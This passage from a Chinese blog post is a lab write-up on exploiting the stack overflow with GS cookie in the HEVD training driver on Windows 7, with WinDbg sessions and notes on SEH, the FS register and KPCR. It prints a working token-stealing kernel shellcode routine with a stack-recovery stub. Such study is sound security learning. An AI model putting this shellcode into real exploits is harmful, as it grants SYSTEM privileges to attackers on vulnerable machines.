
  5. 已知由于 SafeSEH 机制 RtlDispatchException 函数开头会将 SEH 链表的结点一个一个取出来,做一些判断,符合规定的结点中的异常处理函数才能被调用

  6. 运行到 0x83ef4330 处,此时调用 RtlpGetRegistrationHead 函数取出 SEH 链表的头结点

    image-20221220201416885

  7. 执行该指令后查看返回值:

    image-20221220201550615

  8. 查看 SEH 链表,查看该结点位于什么位置,可以看到该结点的下一个结点即为我们覆盖的 SEH 结点

    image-20221220201749444

  9. 可以看到 0x001c38d0 即为我们的 payload 代码

    image-20221220201850590

  10. 为了方便,直接看能不能进入到 payload 代码中,在 83ef43b0 处下断点,然后按 F5 运行到此处,此时第一次执行的是 0xa01b4784 结点内的异常处理函数,所以再按一下 F5 运行到此处

    然后单步步入,一直到 0x83ec0620 处

    image-20221220202058885

    image-20221220202543980

  11. 由上图可以看到可以成功调用我们设置的 payload ,那么排除 SafeSEH 的问题,那么继续运行,发生内核崩溃

​ 根据以上的分析,推测是由于 payload 最后恢复堆栈的偏移不对引起的内核崩溃,后面实际单步测试也确实是这样,重新审视一下 payload,末尾的一段代码引起了我的注意,之前没太懂这段代码的意义,只知道是用来恢复堆栈

; Kernel Recovery Stub
add esp, 0x798                       ; Offset of IRP on stack
mov edi, [esp]                       ; Restore the pointer to IRP
add esp, 0x4                         ; Offset of DbgPrint string
mov ebx, [esp]                       ; Restore the DbgPrint string
add esp, 0x234                       ; Target frame to return
xor eax, eax                         ; Set NTSTATUS SUCCEESS
pop ebp                              ; Restore saved EBP
ret 8                                ; Return cleanly

​ 那么以上代码中的 0x798 和 0x234 这两个偏移是怎么来的,这段代码我光看注释其实看得不太懂,于是开始查找资料,最终找到这篇文章:HEVD Stack Overflow GS (klue.github.io)。文中提到了这两个偏移的由来:

image-20221220204451849

以下展开具体分析:

  1. payload 在执行 ret 8 后会返回到一个地点,首先就是需要选择这个地点,输入 k 查看栈回溯:

    image-20221220215304143

  2. 如果选择返回到 HEVD!TriggerBufferOverflowStackGS+0x97 调用 memcpy 函数之后,该函数后面的栈帧已经被覆盖掉,后面执行不了,所以选择 TriggerBufferOverflowStackGS 函数的返回地址:9faee29e ,可以看到该地址存放在 a01b4ad0 中

  3. 所以在 payload 最后返回时需要将 esp 调整为 a01b4ad0 ,最后才能返回到 9faee29e 处

  4. 既然返回地址已经确定,现在还需要确定的是返回之后某些寄存器的值会不会影响后续的执行(实际测试时 esi,edi,ebx 的值都会影响到后续的执行)

  5. 利用 IDA 分析:

    image-20221220220623668

    image-20221220220748943

    image-20221220220845012

  6. 那么去哪里获得之前的 edi,esi,ebx 的值呢,这三个寄存器的值是否在栈中留有备份呢?在之前分析 __SEH_prolog4_GS 函数的时候,看到如下代码,在此将三个寄存器保存到栈中

    image-20221220225041275

  7. 查看 a01b4880 即可看到保存的三个寄存器

    3: kd> dds a01b4880
    a01b4880  a01b4ad0
    a01b4884  9faee33d HEVD!TriggerBufferOverflowStackGS+0x97 [c:\projects\hevd\driver\hevd\bufferoverflowstackgs.c @ 107]
    a01b4888  a01b48b4
    a01b488c  001f0dec
    a01b4890  00000218
    a01b4894  0000004d
    a01b4898  00000003
    a01b489c  9faf0640 HEVD! ?? ::NNGAKEGL::`string'
    a01b48a0  1a534f29
    a01b48a4  8884faf0					; edi
    a01b48a8  83f0d087 nt!DbgPrintEx	; esi
    a01b48ac  8884fb60					; ebx
    a01b48b0  00000004
    a01b48b4  41414141
    a01b48b8  41414141
    a01b48bc  41414141
    a01b48c0  41414141
    a01b48c4  41414141
    a01b48c8  41414141
    a01b48cc  41414141
    a01b48d0  41414141
    a01b48d4  41414141
    a01b48d8  41414141
    a01b48dc  41414141
    a01b48e0  41414141
    a01b48e4  41414141
    a01b48e8  41414141
    a01b48ec  41414141
    a01b48f0  41414141
    a01b48f4  41414141
    a01b48f8  41414141
    a01b48fc  41414141
    
  8. 所以计算 a01b48a4 - esp 得到 esi 的偏移(需要调试),计算 a01b4ad0 - esp 得到返回地址的偏移,最后改过的 payload 如下:

    VOID TokenStealingPayladGSWin7() {
        // Importance of Kernel Recovery
        __asm {
            pushad                               ; Save registers state
    
            ; Start of Token Stealing Stub
            xor eax, eax                         ; Set ZERO
            mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                                 ; _KTHREAD is located at FS:[0x124]
    
            mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process
    
            mov ecx, eax                         ; Copy current process _EPROCESS structure
    
            mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4
    
            SearchSystemPID:
                mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
                sub eax, FLINK_OFFSET
                cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
                jne SearchSystemPID
    
            mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
            mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                                 ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub
    
            popad                                ; Restore registers state
    
            ; Kernel Recovery Stub
            add esp, 0x788                       ; Offset of IRP on stack
            mov edi, [esp]                       ; Restore the pointer to IRP
    		add esp, 0x4
    		mov esi, [esp]
            add esp, 0x4                         ; Offset of DbgPrint string
            mov ebx, [esp]                       ; Restore the DbgPrint string
            add esp, 0x224                       ; Target frame to return
            xor eax, eax                         ; Set NTSTATUS SUCCEESS
            pop ebp                              ; Restore saved EBP
            ret 8                                ; Return cleanly
        }
    }
    
  9. 最后经过测试,不再发生内核崩溃:

    image-20221220231511985

    image-20221220231540207

2.6 总结

  1. 最开始查找 seh 链的时候习惯性的用了 !exchain,或者先 !teb 再去看它的 ExceptionList,结果发现地址和实际调试位置不一样,所以最后查了资料,直接查看的 FS 寄存器才找到 seh 链

  2. 发现因为 FS 寄存器指向的值在内核态和用户态是不一样的:

    用户态:FS寄存器指向当前活动线程的TEB结构(线程结构)

    内核态:FS指向的段是GDT中的0x3B段。该段的长度也为4K,基地址为0xFFDFF000。该地址指向系统的处理器控制区域(KPCR)。这个区域中保存这处理器相关的一些重要数据值,如GDT、IDT表的值等等

  3. FS 寄存器的偏移说明:

    偏移 说明
    000 指向SEH链指针
    004 线程堆栈顶部
    008 线程堆栈底部
    00C SubSystemTib
    010 FiberData
    014 ArbitraryUserPointer
    018 FS段寄存器在内存中的镜像地址
    020 进程PID
    024 线程ID
    02C 指向线程局部存储指针
    030 PEB结构地址(进程结构)
    034 上个错误号
    
  4. 可以使用 !pcr 命令查看 KPCR 的信息:

    3: kd> !pcr
    KPCR for Processor 3 at 90340000:
        Major 1 Minor 1
    	NtTib.ExceptionList: 9b4eeecc
    	    NtTib.StackBase: 00000000
    	   NtTib.StackLimit: 00000000
    	 NtTib.SubSystemTib: 90343750
    	      NtTib.Version: 001ba891
    	  NtTib.UserPointer: 00000008
    	      NtTib.SelfTib: 7ffde000
    
    	            SelfPcr: 90340000
    	               Prcb: 90340120
    	               Irql: 0000001f
    	                IRR: 00000000
    	                IDR: ffffffff
    	      InterruptMode: 00000000
    	                IDT: 90349020
    	                GDT: 90348c20
    	                TSS: 90343750
    
    	      CurrentThread: 86c99030
    	         NextThread: 00000000
    	         IdleThread: 90345800
    
    	          DpcQueue: 
    
    
  5. 可以继续查看详细信息

    3: kd> dt _KPCR 90340000
    ntdll!_KPCR
       +0x000 NtTib            : _NT_TIB
       +0x000 Used_ExceptionList : 0x9b4eeecc _EXCEPTION_REGISTRATION_RECORD
       +0x004 Used_StackBase   : (null) 
       +0x008 Spare2           : (null) 
       +0x00c TssCopy          : 0x90343750 Void
       +0x010 ContextSwitches  : 0x1ba891
       +0x014 SetMemberCopy    : 8
       +0x018 Used_Self        : 0x7ffde000 Void
       +0x01c SelfPcr          : 0x90340000 _KPCR
       +0x020 Prcb             : 0x90340120 _KPRCB
       +0x024 Irql             : 0x1f ''
       +0x028 IRR              : 0
       +0x02c IrrActive        : 0
       +0x030 IDR              : 0xffffffff
       +0x034 KdVersionBlock   : (null) 
       +0x038 IDT              : 0x90349020 _KIDTENTRY
       +0x03c GDT              : 0x90348c20 _KGDTENTRY
       +0x040 TSS              : 0x90343750 _KTSS
       +0x044 MajorVersion     : 1
       +0x046 MinorVersion     : 1
       +0x048 SetMember        : 8
       +0x04c StallScaleFactor : 0x960
       +0x050 SpareUnused      : 0 ''
       +0x051 Number           : 0x3 ''
       +0x052 Spare0           : 0 ''
       +0x053 SecondLevelCacheAssociativity : 0 ''
       +0x054 VdmAlert         : 0
       +0x058 KernelReserved   : [14] 0
       +0x090 SecondLevelCacheSize : 0
       +0x094 HalReserved      : [16] 3
       +0x0d4 InterruptMode    : 0
       +0x0d8 Spare1           : 0 ''
       +0x0dc KernelReserved2  : [17] 0
       +0x120 PrcbData         : _KPRCB
    3: kd> dt _NT_TIB 90340000
    ntdll!_NT_TIB
       +0x000 ExceptionList    : 0x9b4eeecc _EXCEPTION_REGISTRATION_RECORD
       +0x004 StackBase        : (null) 
       +0x008 StackLimit       : (null) 
       +0x00c SubSystemTib     : 0x90343750 Void
       +0x010 FiberData        : 0x001ba891 Void
       +0x010 Version          : 0x1ba891
       +0x014 ArbitraryUserPointer : 0x00000008 Void
       +0x018 Self             : 0x7ffde000 _NT_TIB
    3: kd> dt _NT_TIB 0x7ffde000 
    ntdll!_NT_TIB
       +0x000 ExceptionList    : 0x0017f81c _EXCEPTION_REGISTRATION_RECORD
       +0x004 StackBase        : 0x00180000 Void
       +0x008 StackLimit       : 0x0017d000 Void
       +0x00c SubSystemTib     : (null) 
       +0x010 FiberData        : 0x00001e00 Void
       +0x010 Version          : 0x1e00
       +0x014 ArbitraryUserPointer : (null) 
       +0x018 Self             : 0x7ffde000 _NT_TIB
    
  6. 可以通过 dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(9b4eeecc) 查看 seh 链:

    2: kd> dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(9b4eeecc)
    next at 0x9b4eef34
    ---------------------------------------------
       +0x000 Next             : 0x9b4ef7ac _EXCEPTION_REGISTRATION_RECORD
       +0x004 Handler          : 0x83ed7ccd     _EXCEPTION_DISPOSITION  nt!_except_handler4+0
    
    next at 0x9b4ef7ac
    ---------------------------------------------
       +0x000 Next             : 0x9b4efac0 _EXCEPTION_REGISTRATION_RECORD
       +0x004 Handler          : 0x83ed7ccd     _EXCEPTION_DISPOSITION  nt!_except_handler4+0
    
    next at 0x9b4efac0
    ---------------------------------------------
       +0x000 Next             : 0x9b4efbc0 _EXCEPTION_REGISTRATION_RECORD
       +0x004 Handler          : 0x9a6eb0a0     _EXCEPTION_DISPOSITION  HEVD!_except_handler4+0
    
    next at 0x9b4efbc0
    ---------------------------------------------
       +0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
       +0x004 Handler          : 0x83ed7ccd     _EXCEPTION_DISPOSITION  nt!_except_handler4+0
    
    next at 0xffffffff
    ---------------------------------------------
       +0x000 Next             : ???? 
       +0x004 Handler          : ???? 
    Memory read error 00000003
    
  7. 对于 payload,最后一定要进行堆栈平衡,否则会出现内核崩溃

2.7 参考

(89条消息) Windows内核漏洞学习-栈溢出(无GS)_Wwoc的博客-CSDN博客

​ [原创]HEVD学习笔记之缓冲区溢出攻击-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

​ [原创]Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

HEVD驱动栈溢出&&WIN10 SMEP 绕过-安全客 - 安全资讯平台 (anquanke.com)

​ [原创]新手分享_再谈FS寄存器-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

​ [原创]内核漏洞学习[2]-HEVD-StackOverflowGS-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

HEVD Stack Overflow GS (klue.github.io)

posted @ 2022-12-21 11:01  修竹Kirakira  阅读(103)  评论(0编辑  收藏  举报